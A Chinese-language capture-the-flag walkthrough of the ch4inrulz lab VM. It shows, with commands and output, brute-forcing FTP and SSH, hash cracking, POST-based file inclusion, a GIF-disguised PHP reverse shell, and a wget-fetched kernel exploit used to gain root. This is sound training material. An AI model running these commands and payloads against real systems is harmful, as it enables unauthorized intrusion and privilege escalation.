渗透测试靶机ch4inrulz实战总结

环境部署

下载地址,文件大小:576M

由于该网站引用的jquery需要翻墙,所以看不到下载链接,可以在浏览器f12开发者模式中调试后看到,下载过程不需要翻墙。

下载之后使用Vmware或者VirtualBox打开即可。

靶机是Ubuntu系统,攻击机使用Kali,两者均为虚拟机且在同一网段下,本机Kali的IP为10.0.2.4。

信息搜集

IP地址

由于靶机网络开启了DHCP,故第一步需要先探测其IP。一般可使用以下任一方法:

  • netdiscover -r 10.0.2.0/24
  • arp-scan -l
  • nmap -sP 10.0.2.0/24

可以得到靶机IP为10.0.2.5

端口扫描

端口扫描一般使用Nmapnmap -sS -sV -O -T4 -A 10.0.2.5,主要结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.5
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.0.2.4
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 2.3.5 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d4:f8:c1:55:92:75:93:f7:7b:65:dd:2b:94:e8:bb:47 (DSA)
| 2048 3d:24:ea:4f:a2:2a:ca:63:b7:f4:27:0f:d9:17:03:22 (RSA)
|_ 256 e2:54:a7:c7:ef:aa:8c:15:61:20:bd:aa:72:c0:17:88 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: FRANK's Website | Under development
8011/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:56:8B:91 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.19 - 2.6.36
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

可以看到开放了21、22、80、8011共4个端口,并且可以看到操作系统为linux,内核版本为2.6。

系统测试

系统扫描

在手工测试之前,一般可先使用扫描器进行扫描以减少工作量,快速发现问题。

常用的扫描器如:Appscan,AWVS,Nessus,nikto,wafw00f,wapiti等等,不同的扫描器有不同的作用,具体使用哪些可视情况而定。

服务利用
  • 服务漏洞探测

21为FTP服务,版本为vsftpd 2.3.5;22为SSH服务,版本为OpenSSH 5.9p1 Debian 5ubuntu1.10,分别使用searchsploit搜索对应漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~# searchsploit vsftpd
------------------------------------------------------------------------------------------------------------ ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------------------------------------------------------ ----------------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption | exploits/linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1) | exploits/windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2) | exploits/windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service | exploits/linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | exploits/unix/remote/17491.rb
------------------------------------------------------------------------------------------------------------ ----------------------------------------
Shellcodes: No Result

ssh可使用searchsploit openssh 搜索,同样没有发现相应版本的漏洞。

  • 弱密码

一般来说SSH和FTP均使用系统用户名和密码,且默认不开启ROOT权限,所以在没有用户名的情况下,仅能爆破ROOT的弱密码,成功率一般不高。

暴力破解FTP:hydra -l root -P pass.txt -t 8 -e ns 10.0.2.5 ftp -vV

可以得到提示[INFO] user root does not exist, skipping

  • 匿名登录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@kali:~# ftp 10.0.2.5
Connected to 10.0.2.5.
220 (vsFTPd 2.3.5)
Name (10.0.2.5:root): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 111 4096 Apr 13 2018 .
drwxr-xr-x 2 0 111 4096 Apr 13 2018 ..
226 Directory send OK.

发现可以登录成功,但进过探索之后没有发现有价值的信息。

再尝试暴力破解SSH:hydra -l root -P pass.txt -t 8 -e ns 10.0.2.5 ssh -vV

但依然没有成功。

应用测试

指纹识别

指纹识别主要是通过一些工具或手工检查Web服务组件类型及版本信息,为后续渗透测试提供方向。

常用工具如:WhatWeb,Wapplyzer,Whatruns,Plecost,BlindElephant等等,不同的工具检测结果可能略有不同,可将多个工具的检测结果结合进行分析。

更多指纹识别相关技术可参考:Web指纹识别技术研究与优化实现

WhatWeb测试结果如下:

1
2
3
4
root@kali:~# whatweb http://10.0.2.5
http://10.0.2.5 [200 OK] Apache[2.2.22], Country[RESERVED][ZZ], Email[name@email.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.2.22 (Ubuntu)], IP[10.0.2.5], JQuery, Script, Title[FRANK's Website | Under development]
root@kali:~# whatweb http://10.0.2.5:8011
http://10.0.2.5:8011 [200 OK] Apache[2.2.22], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.2.22 (Ubuntu)], IP[10.0.2.5]

Wapplyzer测试结果如下:

80端口

1
2
3
4
5
6
7
8
9
10
11
字体脚本
Font Awesome
Google Font API
Web 框架
Bootstrap4.0.0
Web 服务器
Apache2.2.22
操作系统
Ubuntu
JavaScript 库
jQuery3.3.1

8011端口

1
2
3
4
Web 服务器
Apache2.2.22
操作系统
Ubuntu

可以看出两者均使用了Apache2.2.22,但尝试搜索Apache此版本的漏洞,没有发现可利用exp。

目录扫描

目录扫描主要通过暴力扫描路径,以发现一些隐藏文件、网站后台、备份文件等。常用的工具如:DirBuster御剑dirbDirsearch等。如果有更高的要求,可尝试Dirmap:一款高级Web目录文件扫描工具

此处使用dirb对80和8011两个端口的服务进行扫描,可以发现80端口存在/developmentrobots.txt:

1
2
3
4
5
6
7
8
9
10
11
12
---- Scanning URL: http://10.0.2.5/ ----
+ http://10.0.2.5/LICENSE (CODE:200|SIZE:1093)
+ http://10.0.2.5/cgi-bin/ (CODE:403|SIZE:284)
==> DIRECTORY: http://10.0.2.5/css/
+ http://10.0.2.5/development (CODE:401|SIZE:475)
==> DIRECTORY: http://10.0.2.5/img/
+ http://10.0.2.5/index (CODE:200|SIZE:334)
==> DIRECTORY: http://10.0.2.5/js/
+ http://10.0.2.5/robots (CODE:200|SIZE:21)
+ http://10.0.2.5/robots.txt (CODE:200|SIZE:21)
+ http://10.0.2.5/server-status (CODE:403|SIZE:289)
==> DIRECTORY: http://10.0.2.5/vendor/

另外使用御剑nikto可以发现80端口存在index.html.bak:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@kali:~# nikto -h http://10.0.2.5
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.0.2.5
+ Target Hostname: 10.0.2.5
+ Target Port: 80
+ Start Time: 2019-05-14 15:45:21 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, inode: 1051931, size: 13516, mtime: Sat Apr 14 21:39:32 2018
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.html.bak
+ Allowed HTTP Methods: POST, OPTIONS, GET, HEAD
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8497 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2019-05-14 15:45:37 (GMT8) (16 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

8011端口扫描结果如下:

1
2
3
4
5
6
7
---- Scanning URL: http://10.0.2.5:8011/ ----
==> DIRECTORY: http://10.0.2.5:8011/api/
+ http://10.0.2.5:8011/index.html (CODE:200|SIZE:30)
+ http://10.0.2.5:8011/server-status (CODE:403|SIZE:291)
---- Entering directory: http://10.0.2.5:8011/api/ ----
+ http://10.0.2.5:8011/api/index.html (CODE:200|SIZE:351)

发现有一个/api目录。

前端源代码

分别使用浏览器访问两个网站,查看前端htmlcssjs等代码,没有发现明显问题。然后查看80端口扫描到的备份文件index.html.bak:

1
2
3
4
5
6
7
root@kali:~# curl http://10.0.2.5/index.html.bak
<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
<a href="/development">development</a>
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->
</body></html>

可以看到存在一个hash,使用john the rapper破解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@kali:~# echo 'frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0'>hash.txt
root@kali:~# cat hash.txt
frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0
root@kali:~# john hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Proceeding with single, rules:Wordlist
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 22 candidates buffered for the current salt, minimum 48
needed for performance.
Warning: Only 33 candidates buffered for the current salt, minimum 48
needed for performance.
frank!!! (frank)
1g 0:00:00:00 DONE 1/3 (2019-05-14 16:02) 50.00g/s 9950p/s 9950c/s 9950C/s FRANK1..gfrank
Use the "--show" option to display all of the cracked passwords reliably
Session completed

可以得到账号密码frank/frank!!!

漏洞分析及利用
  • 8011端口服务

访问http://10.0.2.5:8011/api,发现有提示:

1
2
3
4
5
6
This API will be used to communicate with Frank's server
but it's still under development
* web_api.php
* records_api.php
* files_api.php
* database_api.php

依次访问发现只有files_api.php能访问:

1
2
No parameter called file passed to me
* Note : this API don't use json , so send the file name in raw format

提示需要file,然后尝试:

1
2
3
4
5
root@kali:~# curl http://10.0.2.5:8011/api/files_api.php?file=/etc/passwd
<head>
<title>franks website | simple website browser API</title>
</head>
<b>********* HACKER DETECTED *********</b><p>YOUR IP IS : 10.0.2.4</p><p>WRONG INPUT !!</p>

修改参数名为files, filenamefile_name等依然不成功。尝试使用POST:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@kali:~# curl -X POST -d "file=/etc/passwd" http://10.0.2.5:8011/api/files_api.php
<head>
<title>franks website | simple website browser API</title>
</head>
root:x:0:0:root:/root:/bin/bash
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
frank:x:1000:1000:frank,,,:/home/frank:/bin/bash
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:103:111:ftp daemon,,,:/srv/ftp:/bin/false

可以成功利用。再使用PHP伪协议读源码:

curl -X POST -d "file=php://filter/read=convert.base64-encode/resource=files_api.php" http://10.0.2.5:8011/api/files_api.php,并将得到的base64解码得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<head>
<title>franks website | simple website browser API</title>
</head>
<?php
$file = $_POST['file'];
include($file);
$get_file = $_GET['file'];
if(isset($get_file)){
echo "<b>********* HACKER DETECTED *********</b>";
echo "<p>YOUR IP IS : ".$_SERVER['REMOTE_ADDR'];
echo "</p><p>WRONG INPUT !!</p>";
break;
}
if(!isset($file)){
echo "<p>No parameter called file passed to me</p>";
echo "<p>* Note : this API don't use json , so send the file name in raw format</p>";
}
/** else{
echo strcmp($file,"/etc/passwd");
echo strlen($file);
echo strlen("/etc/passwd");
if($file == "/etc/passwd"){
"HACKER DETECTED ..";
}
}**/
?>

再尝试读取/etc/shadow失败。

  • 80端口服务

根据扫描结果,访问80端口的robots.txt,没有发现有价值的信息;访问development目录,发现需要账号密码,将破解的hash密码输入后得到提示:

1
2
* Here is my unfinished tools list
- the uploader tool (finished but need security review)

访问http://10.0.2.5/development/uploader/发现一个上传页面:

1
2
3
Frank Uploader Script beta version
Select image to upload:
TODO : script security "50% FINISHED"

上传漏洞可参考:业务逻辑漏洞探索之上传漏洞文件上传(绕过姿势),经测试可以发现后端检测了文件头和后缀名,故需要生成文件如test.gif:

1
2
3
root@kali:~# cat test.gif
GIF98
<?php echo exec("whoami")?>

然后上传,但是上传后没有返回路径,此处需要进行猜解,得到最终目录为FRANKuploads

但此处只是上传上去了,并没有解析,故需要结合80端口的文件包含漏洞,而php的include并不支持http协议,所以尝试使用curl -X POST -d "file=http://10.0.2.5/development/uploader/FRANKuploads/test.gif?cmd=pwd" http://10.0.2.5:8011/api/files_api.php是不成功的,此处需要继续猜解绝对路径,一般PHP文件都部署在/var/www/var/www/html目录下,经尝试可以得知此处为/var/www,然后进行文件包含:

1
2
3
4
5
6
7
8
root@kali:~# curl -X POST -d "file=/var/www/development/uploader/FRANKuploads/test.gif" http://10.0.2.5:8011/api/files_api.php
<head>
<title>franks website | simple website browser API</title>
</head>
GIF98
www-data

成功得到用户名www-data。得到绝对路径后,可使用之前的文件包含漏洞读取upload.php的源码。

然后尝试反弹shell,重新生成文件test2.gif,此处使用kali自带的php-reverse-shell.php(/usr/share/webshells/php目录)进行修改:

1
2
3
4
GIF98
...
$ip = '10.0.2.4'; // CHANGE THIS
...

将第一行添加GIF98,ip修改为攻击机Kali的ip,上传后重新打开一个终端,执行nc -l -p 1234监听1234端口,在原来的终端执行curl -X POST -d "file=/var/www/development/uploader/FRANKuploads/test2.gif" http://10.0.2.5:8011/api/files_api.php进行文件包含:

1
2
3
4
5
6
7
8
root@kali:~# nc -l -p 1234
Linux ubuntu 2.6.35-19-generic #28-Ubuntu SMP Sun Aug 29 06:34:38 UTC 2010 x86_64 GNU/Linux
10:54:32 up 7:10, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
$ whoami
www-data

Webshell可使用msf生成,kali的/usr/share/webshells/目录也自带部分shell,如需更多webshell可参考:github-webshell

反弹shell不仅可以使用php脚本,也可以使用php执行系统指令,从而使用其他语言进行反弹,如bash、perl、python、ruby等,可参考LINUX下反弹SHELL的种种方式

监听端口除了nc外还经常使用msf,方法如下:

1
2
3
4
5
6
7
> use exploit/multi/handler
> set payload linux/armle/shell/reverse_tcp
> set lport xxxx
> set lhost xxx.xxx.xxx.xxx
> set exitonsession false
> exploit -j
>

可以看到新终端成功getshell。

权限提升

执行uname -a可以看到linux内核版本为Linux ubuntu 2.6.35-19-generic,与之前nmap扫描结果一致:

1
2
$ uname -a
Linux ubuntu 2.6.35-19-generic #28-Ubuntu SMP Sun Aug 29 06:34:38 UTC 2010 x86_64 GNU/Linux

使用searchsploit查找linux漏洞(也可以使用Google、https://www.exploit-db.com/):

1
2
3
4
5
6
7
8
root@kali:~# searchsploit linux 2.6.35
------------------------------------------------------------------------------------------------------------ ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------------------------------------------------------ ----------------------------------------
Linux Kernel 2.6.35 - Network Namespace Remote Denial of Service | exploits/linux/dos/36425.txt
------------------------------------------------------------------------------------------------------------ ----------------------------------------
Shellcodes: No Result

发现2.6.35版本仅一个漏洞,经测试发现无法使用,将版本改为2.6.36发现有多个漏洞,经测试15285.c可用。首先在Kali本机使用Python启动简单Http服务:cd /usr/share/exploitdb/exploits/linux/local && python -m SimpleHTTPServer 80,然后在目标机依次执行:

1
2
3
4
5
6
python -c 'import pty;pty.spawn("/bin/bash")'#获取交互式shell
cd /tmp#tmp目录所有用户均有权限
wget http://10.0.2.4/15285.c#下载exp
gcc 15285.c -o 15285#编译exp
chmod 777 15285#修改权限
./15285#执行exp

除此之外,也可以15023.c、脏牛等进行提权。
至此,成功完成权限提升,执行id可以看到当前权限为root权限:

1
2
3
# id
id
uid=0(root) gid=0(root) groups=0(root)

Linux提权对照表

Windows提权对照表

参考资料

https://xz.aliyun.com/t/2593

https://www.4hou.com/technology/13140.html